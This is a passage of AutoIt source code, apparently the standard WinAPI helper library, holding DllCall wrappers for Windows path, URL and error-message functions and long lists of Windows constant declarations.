  3799. If NOT $aret[0] Then Return $sfilepath
  3800. Return _winapi_getstring($aret[0])
  3801. EndFunc
  3802.  
  3803. Func _winapi_pathstrippath($sfilepath)
  3804. Local $aret = DllCall("shlwapi.dll", "none", "PathStripPathW", "wstr", $sfilepath)
  3805. If @error Then Return SetError(@error, @extended, "")
  3806. Return $aret[1]
  3807. EndFunc
  3808.  
  3809. Func _winapi_pathstriptoroot($sfilepath)
  3810. Local $aret = DllCall("shlwapi.dll", "bool", "PathStripToRootW", "wstr", $sfilepath)
  3811. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3812. Return $aret[1]
  3813. EndFunc
  3814.  
  3815. Func _winapi_pathundecorate($sfilepath)
  3816. Local $aret = DllCall("shlwapi.dll", "none", "PathUndecorateW", "wstr", $sfilepath)
  3817. If @error Then Return SetError(@error, @extended, "")
  3818. Return $aret[1]
  3819. EndFunc
  3820.  
  3821. Func _winapi_pathunexpandenvstrings($sfilepath)
  3822. Local $aret = DllCall("shlwapi.dll", "bool", "PathUnExpandEnvStringsW", "wstr", $sfilepath, "wstr", "", "uint", 4096)
  3823. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3824. Return $aret[2]
  3825. EndFunc
  3826.  
  3827. Func _winapi_pathunmakesystemfolder($sfilepath)
  3828. Local $aret = DllCall("shlwapi.dll", "bool", "PathUnmakeSystemFolderW", "wstr", $sfilepath)
  3829. If @error Then Return SetError(@error, @extended, False)
  3830. Return $aret[0]
  3831. EndFunc
  3832.  
  3833. Func _winapi_pathunquotespaces($sfilepath)
  3834. Local $aret = DllCall("shlwapi.dll", "none", "PathUnquoteSpacesW", "wstr", $sfilepath)
  3835. If @error Then Return SetError(@error, @extended, "")
  3836. Return $aret[1]
  3837. EndFunc
  3838.  
  3839. Func _winapi_pathyetanothermakeuniquename($sfilepath)
  3840. Local $aret = DllCall("shell32.dll", "int", "PathYetAnotherMakeUniqueName", "wstr", "", "wstr", $sfilepath, "ptr", 0, "ptr", 0)
  3841. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3842. Return $aret[1]
  3843. EndFunc
  3844.  
  3845. Func _winapi_shellgetimagelist($bsmall = False)
  3846. Local $plarge, $psmall, $tptr = DllStructCreate("ptr")
  3847. If $bsmall Then
  3848. $plarge = 0
  3849. $psmall = DllStructGetPtr($tptr)
  3850. Else
  3851. $plarge = DllStructGetPtr($tptr)
  3852. $psmall = 0
  3853. EndIf
  3854. Local $aret = DllCall("shell32.dll", "int", "Shell_GetImageLists", "ptr", $plarge, "ptr", $psmall)
  3855. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  3856. Return DllStructGetData($tptr, 1)
  3857. EndFunc
  3858.  
  3859. Func _winapi_urlapplyscheme($surl, $iflags = 1)
  3860. Local $aret = DllCall("shlwapi.dll", "long", "UrlApplySchemeW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", $iflags)
  3861. If @error Then Return SetError(@error, @extended, "")
  3862. If $aret[0] Then Return SetError(10, $aret[0], "")
  3863. Return $aret[2]
  3864. EndFunc
  3865.  
  3866. Func _winapi_urlcanonicalize($surl, $iflags)
  3867. Local $aret = DllCall("shlwapi.dll", "long", "UrlCanonicalizeW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", $iflags)
  3868. If @error Then Return SetError(@error, @extended, "")
  3869. If $aret[0] Then Return SetError(10, $aret[0], "")
  3870. Return $aret[2]
  3871. EndFunc
  3872.  
  3873. Func _winapi_urlcombine($surl, $spart, $iflags = 0)
  3874. Local $aret = DllCall("shlwapi.dll", "long", "UrlCombineW", "wstr", $surl, "wstr", $spart, "wstr", "", "dword*", 4096, "dword", $iflags)
  3875. If @error Then Return SetError(@error, @extended, "")
  3876. If $aret[0] Then Return SetError(10, $aret[0], "")
  3877. Return $aret[3]
  3878. EndFunc
  3879.  
  3880. Func _winapi_urlcompare($surl1, $surl2, $bignoreslash = False)
  3881. Local $aret = DllCall("shlwapi.dll", "int", "UrlCompareW", "wstr", $surl1, "wstr", $surl2, "bool", $bignoreslash)
  3882. If @error Then Return SetError(@error, @extended, 0)
  3883. Return $aret[0]
  3884. EndFunc
  3885.  
  3886. Func _winapi_urlcreatefrompath($sfilepath)
  3887. Local $aret = DllCall("shlwapi.dll", "long", "UrlCreateFromPathW", "wstr", $sfilepath, "wstr", "", "dword*", 4096, "dword", 0)
  3888. If @error Then Return SetError(@error, @extended, "")
  3889. If $aret[0] < 0 OR $aret[0] > 1 Then
  3890. Return SetError(10, $aret[0], "")
  3891. EndIf
  3892. Return $aret[2]
  3893. EndFunc
  3894.  
  3895. Func _winapi_urlfixup($surl)
  3896. Local $aret = DllCall("shlwapi.dll", "long", "UrlFixupW", "wstr", $surl, "wstr", "", "dword", 4096)
  3897. If @error Then Return SetError(@error, @extended, "")
  3898. If $aret[0] Then Return SetError(10, $aret[0], "")
  3899. Return $aret[2]
  3900. EndFunc
  3901.  
  3902. Func _winapi_urlgetpart($surl, $ipart)
  3903. Local $aret = DllCall("shlwapi.dll", "long", "UrlGetPartW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", $ipart, "dword", 0)
  3904. If @error Then Return SetError(@error, @extended, "")
  3905. If $aret[0] Then Return SetError(10, $aret[0], "")
  3906. Return $aret[2]
  3907. EndFunc
  3908.  
  3909. Func _winapi_urlhash($surl, $ilength = 32)
  3910. If $ilength <= 0 OR $ilength > 256 Then Return SetError(256, 0, 0)
  3911. Local $tdata = DllStructCreate("byte[" & $ilength & "]")
  3912. Local $aret = DllCall("shlwapi.dll", "long", "UrlHashW", "wstr", $surl, "struct*", $tdata, "dword", $ilength)
  3913. If @error Then Return SetError(@error + 10, @extended, 0)
  3914. If $aret[0] Then Return SetError(10, $aret[0], 0)
  3915. Return DllStructGetData($tdata, 1)
  3916. EndFunc
  3917.  
  3918. Func _winapi_urlis($surl, $itype = 0)
  3919. Local $aret = DllCall("shlwapi.dll", "bool", "UrlIsW", "wstr", $surl, "uint", $itype)
  3920. If @error Then Return SetError(@error, @extended, False)
  3921. Return $aret[0]
  3922. EndFunc
  3923.  
  3924. #EndRegion Public Functions
  3925. #Region Internal Functions
  3926.  
  3927. Func __us($sstring, $ilength = 0)
  3928. If $ilength Then
  3929. $sstring = StringLeft($sstring, $ilength)
  3930. Else
  3931. $ilength = StringLen($sstring)
  3932. EndIf
  3933. Local $tus = DllStructCreate("ushort;ushort;ptr;wchar[" & ($ilength + 1) & "]")
  3934. DllStructSetData($tus, 1, 2 * StringLen($sstring))
  3935. DllStructSetData($tus, 2, 2 * $ilength)
  3936. DllStructSetData($tus, 3, DllStructGetPtr($tus, 4))
  3937. DllStructSetData($tus, 4, $sstring)
  3938. Return $tus
  3939. EndFunc
  3940.  
  3941. #EndRegion Internal Functions
  3942. Global Const $klf_activate = 1
  3943. Global Const $klf_notellshell = 128
  3944. Global Const $klf_reorder = 8
  3945. Global Const $klf_replacelang = 16
  3946. Global Const $klf_reset = 1073741824
  3947. Global Const $klf_setforprocess = 256
  3948. Global Const $klf_shiftlock = 65536
  3949. Global Const $klf_substitute_ok = 2
  3950. Global Const $hkl_next = 1
  3951. Global Const $hkl_prev = 0
  3952. Global Const $aw_activate = 131072
  3953. Global Const $aw_blend = 524288
  3954. Global Const $aw_center = 16
  3955. Global Const $aw_hide = 65536
  3956. Global Const $aw_hor_negative = 2
  3957. Global Const $aw_hor_positive = 1
  3958. Global Const $aw_slide = 262144
  3959. Global Const $aw_ver_negative = 8
  3960. Global Const $aw_ver_positive = 4
  3961. Global Const $bsf_allowsfw = 128
  3962. Global Const $bsf_flushdisk = 4
  3963. Global Const $bsf_forceifhung = 32
  3964. Global Const $bsf_ignorecurrenttask = 2
  3965. Global Const $bsf_nohang = 8
  3966. Global Const $bsf_notimeoutifnothung = 64
  3967. Global Const $bsf_postmessage = 16
  3968. Global Const $bsf_query = 1
  3969. Global Const $bsf_sendnotifymessage = 256
  3970. Global Const $bsm_allcomponents = 0
  3971. Global Const $bsm_alldesktops = 8
  3972. Global Const $bsm_applications = 16
  3973. Global Const $bsm_installabledrivers = 4
  3974. Global Const $bsm_netdriver = 2
  3975. Global Const $bsm_vxds = 1
  3976. Global Const $mditile_horizontal = 1
  3977. Global Const $mditile_skipdisabled = 2
  3978. Global Const $mditile_vertical = 0
  3979. Global Const $mditile_zorder = 4
  3980. Global Const $msgflt_allow = 1
  3981. Global Const $msgflt_disallow = 2
  3982. Global Const $msgflt_reset = 0
  3983. Global Const $msgfltinfo_allowed_higher = 3
  3984. Global Const $msgfltinfo_alreadyallowed_forwnd = 1
  3985. Global Const $msgfltinfo_alreadydisallowed_forwnd = 2
  3986. Global Const $msgfltinfo_none = 0
  3987. Global Const $cwp_all = 0
  3988. Global Const $cwp_skipinvisible = 1
  3989. Global Const $cwp_skipdisabled = 2
  3990. Global Const $cwp_skiptransparent = 4
  3991. Global Const $compression_format_none = 0
  3992. Global Const $compression_format_default = 1
  3993. Global Const $compression_format_lznt1 = 2
  3994. Global Const $compression_format_xpress = 3
  3995. Global Const $compression_format_xpress_huff = 4
  3996. Global Const $compression_engine_standard = 0
  3997. Global Const $compression_engine_maximum = 256
  3998. Global Const $compression_engine_hiber = 512
  3999. Global Const $winsta_accessclipboard = 4
  4000. Global Const $winsta_accessglobalatoms = 32
  4001. Global Const $winsta_createdesktop = 8
  4002. Global Const $winsta_enumdesktops = 1
  4003. Global Const $winsta_enumerate = 256
  4004. Global Const $winsta_exitwindows = 64
  4005. Global Const $winsta_readattributes = 2
  4006. Global Const $winsta_readscreen = 512
  4007. Global Const $winsta_writeattributes = 16
  4008. Global Const $winsta_all_access = BitOR($winsta_accessclipboard, $winsta_accessglobalatoms, $winsta_createdesktop, $winsta_enumdesktops, $winsta_enumerate, $winsta_exitwindows, $winsta_readattributes, $winsta_readscreen, $winsta_writeattributes)
  4009. Global Const $cwf_create_only = 1
  4010. Global Const $gcl_cbclsextra = -20
  4011. Global Const $gcl_cbwndextra = -18
  4012. Global Const $gcl_hbrbackground = -10
  4013. Global Const $gcl_hcursor = -12
  4014. Global Const $gcl_hicon = -14
  4015. Global Const $gcl_hiconsm = -34
  4016. Global Const $gcl_hmodule = -16
  4017. Global Const $gcl_menuname = -8
  4018. Global Const $gcl_style = -26
  4019. Global Const $gcl_wndproc = -24
  4020. Global Const $dockinfo_docked = 2
  4021. Global Const $dockinfo_undocked = 1
  4022. Global Const $dockinfo_user_supplied = 4
  4023. Global Const $dockinfo_user_docked = 5
  4024. Global Const $dockinfo_user_undocked = 6
  4025. Global Const $gui_caretblinking = 1
  4026. Global Const $gui_inmenumode = 4
  4027. Global Const $gui_inmovesize = 2
  4028. Global Const $gui_popupmenumode = 16
  4029. Global Const $gui_systemmenumode = 8
  4030. Global Const $handle_flag_inherit = 1
  4031. Global Const $handle_flag_protect_from_close = 2
  4032. Global Const $get_module_handle_ex_flag_from_address = 4
  4033. Global Const $get_module_handle_ex_flag_pin = 1
  4034. Global Const $get_module_handle_ex_flag_unchanged_refcount = 2
  4035. Global Const $get_module_handle_ex_flag_default = 0
  4036. Global Const $processor_architecture_amd64 = 9
  4037. Global Const $processor_architecture_ia64 = 6
  4038. Global Const $processor_architecture_intel = 0
  4039. Global Const $processor_architecture_unknown = 65535
  4040. Global Const $processor_intel_386 = 386
  4041. Global Const $processor_intel_486 = 486
  4042. Global Const $processor_intel_pentium = 586
  4043. Global Const $processor_intel_ia64 = 2200
  4044. Global Const $processor_amd_x8664 = 8664
  4045. Global Const $uoi_flags = 1
  4046. Global Const $uoi_heapsize = 5
  4047. Global Const $uoi_io = 6
  4048. Global Const $uoi_name = 2
  4049. Global Const $uoi_type = 3
  4050. Global Const $uoi_user_sid = 4
  4051. Global Const $df_allowotheraccounthook = 1
  4052. Global Const $wsf_visible = 1
  4053. Global Const $ver_suite_backoffice = 4
  4054. Global Const $ver_suite_blade = 1024
  4055. Global Const $ver_suite_compute_server = 16384
  4056. Global Const $ver_suite_datacenter = 128
  4057. Global Const $ver_suite_enterprise = 2
  4058. Global Const $ver_suite_embeddednt = 64
  4059. Global Const $ver_suite_personal = 512
  4060. Global Const $ver_suite_singleuserts = 256
  4061. Global Const $ver_suite_smallbusiness = 1
  4062. Global Const $ver_suite_smallbusiness_restricted = 32
  4063. Global Const $ver_suite_storage_server = 8192
  4064. Global Const $ver_suite_terminal = 16
  4065. Global Const $ver_suite_wh_server = 32768
  4066. Global Const $ver_nt_domain_controller = 2
  4067. Global Const $ver_nt_server = 3
  4068. Global Const $ver_nt_workstation = 1
  4069. Global Const $wda_monitor = 1
  4070. Global Const $wda_none = 0
  4071. Global Const $pf_3dnow_instructions_available = 7
  4072. Global Const $pf_channels_enabled = 16
  4073. Global Const $pf_compare_exchange_double = 2
  4074. Global Const $pf_compare_exchange128 = 14
  4075. Global Const $pf_compare64_exchange128 = 15
  4076. Global Const $pf_floating_point_emulated = 1
  4077. Global Const $pf_floating_point_precision_errata = 0
  4078. Global Const $pf_mmx_instructions_available = 3
  4079. Global Const $pf_nx_enabled = 12
  4080. Global Const $pf_pae_enabled = 9
  4081. Global Const $pf_rdtsc_instruction_available = 8
  4082. Global Const $pf_sse3_instructions_available = 13
  4083. Global Const $pf_xmmi_instructions_available = 6
  4084. Global Const $pf_xmmi64_instructions_available = 10
  4085. Global Const $pf_xsave_enabled = 17
  4086. Global Const $keyeventf_extendedkey = 1
  4087. Global Const $keyeventf_keyup = 2
  4088. Global Const $lim_small = 0
  4089. Global Const $lim_large = 1
  4090. Global Const $mapvk_vk_to_char = 2
  4091. Global Const $mapvk_vk_to_vsc = 0
  4092. Global Const $mapvk_vk_to_vsc_ex = 4
  4093. Global Const $mapvk_vsc_to_vk = 1
  4094. Global Const $mapvk_vsc_to_vk_ex = 3
  4095. Global Const $mod_alt = 1
  4096. Global Const $mod_control = 2
  4097. Global Const $mod_norepeat = 16384
  4098. Global Const $mod_shift = 4
  4099. Global Const $mod_win = 8
  4100. Global Const $guid_acdc_power_source = "{5D3E9A59-E9D5-4B00-A6BD-FF34FF516548}"
  4101. Global Const $guid_battery_percentage_remaining = "{A7AD8041-B45A-4CAE-87A3-EECBB468A9E1}"
  4102. Global Const $guid_idle_background_task = "{515C31D8-F734-163D-A0FD-11A08C91E8F1}"
  4103. Global Const $guid_monitor_power_on = "{02731015-4510-4526-99E6-E5A17EBD1AEA}"
  4104. Global Const $guid_powerscheme_personality = "{245D8541-3943-4422-B025-13A784F679B7}"
  4105. Global Const $guid_system_awaymode = "{98A7F580-01F7-48AA-9C0F-44352C29E5C0}"
  4106. Global Const $guid_min_power_savings = "{8C5E7FDA-E8BF-4A96-9A85-A6E23A8C635C}"
  4107. Global Const $guid_max_power_savings = "{A1841308-3541-4FAB-BC81-F71556F20B4A}"
  4108. Global Const $guid_typical_power_savings = "{381B4222-F694-41F0-9685-FF5BB260DF2E}"
  4109. Global Const $hshell_windowcreated = 1
  4110. Global Const $hshell_windowdestroyed = 2
  4111. Global Const $hshell_activateshellwindow = 3
  4112. Global Const $hshell_windowactivated = 4
  4113. Global Const $hshell_getminrect = 5
  4114. Global Const $hshell_redraw = 6
  4115. Global Const $hshell_taskman = 7
  4116. Global Const $hshell_language = 8
  4117. Global Const $hshell_sysmenu = 9
  4118. Global Const $hshell_endtask = 10
  4119. Global Const $hshell_accessibilitystate = 11
  4120. Global Const $hshell_appcommand = 12
  4121. Global Const $hshell_windowreplaced = 13
  4122. Global Const $hshell_windowreplacing = 14
  4123. Global Const $hshell_rudeappactivated = 32772
  4124. Global Const $hshell_flash = 32774
  4125. Global Const $hwnd_broadcast = 65535
  4126. Global Const $smto_block = 1
  4127. Global Const $smto_normal = 0
  4128. Global Const $smto_abortifhung = 2
  4129. Global Const $smto_notimeoutifnothung = 8
  4130. Global Const $smto_erroronexit = 32
  4131. Global Const $inputlangchange_backward = 4
  4132. Global Const $inputlangchange_forward = 2
  4133. Global Const $inputlangchange_syscharset = 1
  4134. Global Const $event_min = 1
  4135. Global Const $event_system_sound = 1
  4136. Global Const $event_system_alert = 2
  4137. Global Const $event_system_foreground = 3
  4138. Global Const $event_system_menustart = 4
  4139. Global Const $event_system_menuend = 5
  4140. Global Const $event_system_menupopupstart = 6
  4141. Global Const $event_system_menupopupend = 7
  4142. Global Const $event_system_capturestart = 8
  4143. Global Const $event_system_captureend = 9
  4144. Global Const $event_system_movesizestart = 10
  4145. Global Const $event_system_movesizeend = 11
  4146. Global Const $event_system_contexthelpstart = 12
  4147. Global Const $event_system_contexthelpend = 13
  4148. Global Const $event_system_dragdropstart = 14
  4149. Global Const $event_system_dragdropend = 15
  4150. Global Const $event_system_dialogstart = 16
  4151. Global Const $event_system_dialogend = 17
  4152. Global Const $event_system_scrollingstart = 18
  4153. Global Const $event_system_scrollingend = 19
  4154. Global Const $event_system_switchstart = 20
  4155. Global Const $event_system_switchend = 21
  4156. Global Const $event_system_minimizestart = 22
  4157. Global Const $event_system_minimizeend = 23
  4158. Global Const $event_system_desktopswitch = 32
  4159. Global Const $event_object_create = 32768
  4160. Global Const $event_object_destroy = 32769
  4161. Global Const $event_object_show = 32770
  4162. Global Const $event_object_hide = 32771
  4163. Global Const $event_object_reorder = 32772
  4164. Global Const $event_object_focus = 32773
  4165. Global Const $event_object_selection = 32774
  4166. Global Const $event_object_selectionadd = 32775
  4167. Global Const $event_object_selectionremove = 32776
  4168. Global Const $event_object_selectionwithin = 32777
  4169. Global Const $event_object_statechange = 32778
  4170. Global Const $event_object_locationchange = 32779
  4171. Global Const $event_object_namechange = 32780
  4172. Global Const $event_object_descriptionchange = 32781
  4173. Global Const $event_object_valuechange = 32782
  4174. Global Const $event_object_parentchange = 32783
  4175. Global Const $event_object_helpchange = 32784
  4176. Global Const $event_object_defactionchange = 32785
  4177. Global Const $event_object_acceleratorchange = 32786
  4178. Global Const $event_object_invoked = 32787
  4179. Global Const $event_object_textselectionchanged = 32788
  4180. Global Const $event_object_contentscrolled = 32789
  4181. Global Const $event_max = 2147483647
  4182. Global Const $winevent_incontext = 4
  4183. Global Const $winevent_outofcontext = 0
  4184. Global Const $winevent_skipownprocess = 2
  4185. Global Const $winevent_skipownthread = 1
  4186. Global Const $tme_cancel = -2147483648
  4187. Global Const $tme_hover = 1
  4188. Global Const $tme_leave = 2
  4189. Global Const $tme_nonclient = 16
  4190. Global Const $tme_query = 1073741824
  4191. Global Const $desktop_createmenu = 4
  4192. Global Const $desktop_createwindow = 2
  4193. Global Const $desktop_enumerate = 64
  4194. Global Const $desktop_hookcontrol = 8
  4195. Global Const $desktop_journalplayback = 32
  4196. Global Const $desktop_journalrecord = 16
  4197. Global Const $desktop_readobjects = 1
  4198. Global Const $desktop_switchdesktop = 256
  4199. Global Const $desktop_writeobjects = 128
  4200. Global Const $desktop_all_access = BitOR($desktop_createmenu, $desktop_createwindow, $desktop_enumerate, $desktop_hookcontrol, $desktop_journalplayback, $desktop_journalrecord, $desktop_readobjects, $desktop_switchdesktop, $desktop_writeobjects)
  4201. Global Const $ridev_appkeys = 1024
  4202. Global Const $ridev_capturemouse = 512
  4203. Global Const $ridev_devnotify = 8192
  4204. Global Const $ridev_exclude = 16
  4205. Global Const $ridev_exinputsink = 4096
  4206. Global Const $ridev_inputsink = 256
  4207. Global Const $ridev_nohotkeys = 512
  4208. Global Const $ridev_nolegacy = 48
  4209. Global Const $ridev_pageonly = 32
  4210. Global Const $ridev_remove = 1
  4211. Global Const $rid_header = 268435461
  4212. Global Const $rid_input = 268435459
  4213. Global Const $rim_typehid = 2
  4214. Global Const $rim_typekeyboard = 1
  4215. Global Const $rim_typemouse = 0
  4216. Global Const $ridi_devicename = 536870919
  4217. Global Const $ridi_deviceinfo = 536870923
  4218. Global Const $ridi_preparseddata = 536870917
  4219. Global Const $mouse_attributes_changed = 4
  4220. Global Const $mouse_move_absolute = 1
  4221. Global Const $mouse_move_relative = 0
  4222. Global Const $mouse_virtual_desktop = 2
  4223. Global Const $ri_mouse_left_button_down = 1
  4224. Global Const $ri_mouse_left_button_up = 2
  4225. Global Const $ri_mouse_middle_button_down = 16
  4226. Global Const $ri_mouse_middle_button_up = 32
  4227. Global Const $ri_mouse_right_button_down = 4
  4228. Global Const $ri_mouse_right_button_up = 8
  4229. Global Const $ri_mouse_button_1_down = $ri_mouse_left_button_down
  4230. Global Const $ri_mouse_button_1_up = $ri_mouse_left_button_up
  4231. Global Const $ri_mouse_button_2_down = $ri_mouse_right_button_down
  4232. Global Const $ri_mouse_button_2_up = $ri_mouse_right_button_up
  4233. Global Const $ri_mouse_button_3_down = $ri_mouse_middle_button_down
  4234. Global Const $ri_mouse_button_3_up = $ri_mouse_middle_button_up
  4235. Global Const $ri_mouse_button_4_down = 64
  4236. Global Const $ri_mouse_button_4_up = 128
  4237. Global Const $ri_mouse_button_5_down = 256
  4238. Global Const $ri_mouse_button_5_up = 512
  4239. Global Const $ri_mouse_wheel = 1024
  4240. Global Const $ri_key_break = 1
  4241. Global Const $ri_key_e0 = 2
  4242. Global Const $ri_key_e1 = 4
  4243. Global Const $ri_key_make = 0
  4244. #Region Global Variables and Constants
  4245. Global Const $format_message_allocate_buffer = 256
  4246. Global Const $format_message_ignore_inserts = 512
  4247. Global Const $format_message_from_string = 1024
  4248. Global Const $format_message_from_hmodule = 2048
  4249. Global Const $format_message_from_system = 4096
  4250. Global Const $format_message_argument_array = 8192
  4251. #EndRegion Global Variables and Constants
  4252.  
  4253. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  4254. Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  4255. If @error Then Return SetError(@error, @extended, False)
  4256. Return $aresult[0]
  4257. EndFunc
  4258.  
  4259. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  4260. Local $sbuffertype = "struct*"
  4261. If IsString($pbuffer) Then $sbuffertype = "wstr"
  4262. Local $aresult = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "struct*", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  4263. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  4264. If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  4265. Return $aresult[0]
  4266. EndFunc
  4267.  
  4268. Func _winapi_geterrormessage($icode, $ilanguage = 0, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  4269. Local $aret = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", 4096, "ptr", 0, "dword", $icode, "dword", $ilanguage, "wstr", "", "dword", 4096, "ptr", 0)
  4270. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  4271. Return SetError($_icurrenterror, $_icurrentextended, StringRegExpReplace($aret[5], "[" & @LF & "," & @CR & "]*\Z", ""))
  4272. EndFunc
  4273.  
  4274. Func _winapi_getlasterror(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  4275. Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  4276. Return SetError($_icurrenterror, $_icurrentextended, $aresult[0])
  4277. EndFunc
  4278.  
  4279. Func _winapi_getlasterrormessage(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  4280. Local $ilasterror = _winapi_getlasterror()
  4281. Local $tbufferptr = DllStructCreate("ptr")
  4282. Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0)
  4283. If @error Then Return SetError(-@error, @extended, "")
  4284. Local $stext = ""
  4285. Local $pbuffer = DllStructGetData($tbufferptr, 1)
  4286. If $pbuffer Then
  4287. If $ncount > 0 Then
  4288. Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  4289. $stext = DllStructGetData($tbuffer, 1)
  4290. If StringRight($stext, 2) = @CRLF Then $stext = StringTrimRight($stext, 2)
  4291. EndIf
  4292. DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pbuffer)
  4293. EndIf
  4294. Return SetError($_icurrenterror, $_icurrentextended, $stext)
  4295. EndFunc
  4296.  
  4297. Func _winapi_messagebeep($itype = 1)
  4298. Local $isound
  4299. Switch $itype
  4300. Case 1
  4301. $isound = 0
  4302. Case 2
  4303. $isound = 16
  4304. Case 3
  4305. $isound = 32
  4306. Case 4
  4307. $isound = 48
  4308. Case 5
  4309. $isound = 64
  4310. Case Else
  4311. $isound = -1
  4312. EndSwitch
  4313. Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  4314. If @error Then Return SetError(@error, @extended, False)
  4315. Return $aresult[0]
  4316. EndFunc
  4317.  
  4318. Func _winapi_msgbox($iflags, $stitle, $stext)
  4319. BlockInput(0)
  4320. MsgBox($iflags, $stitle, $stext & " ")
  4321. EndFunc
  4322.  
  4323. Func _winapi_setlasterror($ierrorcode, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  4324. DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
  4325. Return SetError($_icurrenterror, $_icurrentextended, NULL )
  4326. EndFunc
  4327.  
  4328. Func _winapi_showerror($stext, $bexit = True)
  4329. BlockInput(0)
  4330. MsgBox($mb_systemmodal, "Error", $stext & " ")
  4331. If $bexit Then Exit
  4332. EndFunc
  4333.  
  4334. Func _winapi_showlasterror($stext = "", $babort = False, $ilanguage = 0, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  4335. Local $serror
  4336. Local $ilasterror = _winapi_getlasterror()
  4337. While 1
  4338. $serror = _winapi_geterrormessage($ilasterror, $ilanguage)
  4339. If @error AND $ilanguage Then
  4340. $ilanguage = 0
  4341. Else
  4342. ExitLoop
  4343. EndIf
  4344. WEnd
  4345. If StringStripWS($stext, $str_stripleading + $str_striptrailing) Then
  4346. $stext &= @CRLF & @CRLF
  4347. Else
  4348. $stext = ""
  4349. EndIf
  4350. _winapi_msgbox(BitOR(262144, BitShift(16, -2 * (NOT $ilasterror))), $ilasterror, $stext & $serror)
  4351. If $ilasterror Then
  4352. _winapi_setlasterror($ilasterror)
  4353. If $babort Then
  4354. Exit $ilasterror
  4355. EndIf
  4356. EndIf
  4357. Return SetError($_icurrenterror, $_icurrentextended, 1)
  4358. EndFunc
  4359.  
  4360. Func _winapi_showmsg($stext)
  4361. _winapi_msgbox($mb_systemmodal, "Information", $stext)
  4362. EndFunc
  4363.  
  4364. Func __comerrorformating(ByRef $ocomerror, $sprefix = @TAB)
  4365. Local Const $str_striptrailing = 2
  4366. Local $serror = "COM Error encountered in " & @ScriptName & " (" & $ocomerror.scriptline & ") :" & @CRLF & $sprefix & "Number " & @TAB & "= 0x" & Hex($ocomerror.number, 8) & " (" & $ocomerror.number & ")" & @CRLF & $sprefix & "WinDescription" & @TAB & "= " & StringStripWS($ocomerror.windescription, $str_striptrailing) & @CRLF & $sprefix & "Description " & @TAB & "= " & StringStripWS($ocomerror.description, $str_striptrailing) & @CRLF & $sprefix & "Source " & @TAB & "= " & $ocomerror.source & @CRLF & $sprefix & "HelpFile " & @TAB & "= " & $ocomerror.helpfile & @CRLF & $sprefix & "HelpContext " & @TAB & "= " & $ocomerror.helpcontext & @CRLF & $sprefix & "LastDllError " & @TAB & "= " & $ocomerror.lastdllerror & @CRLF & $sprefix & "Retcode " & @TAB & "= 0x" & Hex($ocomerror.retcode)
  4367. Return $serror
  4368. EndFunc
  4369.  
  4370. #Region Global Variables and Constants
  4371. Global Const $duplicate_close_source = 1
  4372. Global Const $duplicate_same_access = 2
  4373. Global Const $obj_bitmap = 7
  4374. Global Const $obj_brush = 2
  4375. Global Const $obj_colorspace = 14
  4376. Global Const $obj_dc = 3
  4377. Global Const $obj_enhmetadc = 12
  4378. Global Const $obj_enhmetafile = 13
  4379. Global Const $obj_extpen = 11
  4380. Global Const $obj_font = 6
  4381. Global Const $obj_memdc = 10
  4382. Global Const $obj_metadc = 4
  4383. Global Const $obj_metafile = 9
  4384. Global Const $obj_pal = 5
  4385. Global Const $obj_pen = 1
  4386. Global Const $obj_region = 8
  4387. Global Const $null_brush = 5
  4388. Global Const $null_pen = 8
  4389. Global Const $black_brush = 4
  4390. Global Const $dkgray_brush = 3
  4391. Global Const $dc_brush = 18
  4392. Global Const $gray_brush = 2
  4393. Global Const $hollow_brush = $null_brush
  4394. Global Const $ltgray_brush = 1
  4395. Global Const $white_brush = 0
  4396. Global Const $black_pen = 7
  4397. Global Const $dc_pen = 19
  4398. Global Const $white_pen = 6
  4399. Global Const $ansi_fixed_font = 11
  4400. Global Const $ansi_var_font = 12
  4401. Global Const $device_default_font = 14
  4402. Global Const $default_gui_font = 17
  4403. Global Const $oem_fixed_font = 10
  4404. Global Const $system_font = 13
  4405. Global Const $system_fixed_font = 16
  4406. Global Const $default_palette = 15
  4407. #EndRegion Global Variables and Constants
  4408. #Region Functions list
  4409. #EndRegion Functions list
  4410. #Region Public Functions
  4411.  
  4412. Func _winapi_closehandle($hobject)
  4413. Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject)
  4414. If @error Then Return SetError(@error, @extended, False)
  4415. Return $aresult[0]
  4416. EndFunc
  4417.  
  4418. Func _winapi_deleteobject($hobject)
  4419. Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
  4420. If @error Then Return SetError(@error, @extended, False)
  4421. Return $aresult[0]
  4422. EndFunc
  4423.  
  4424. Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $iinherithandle, $ioptions)
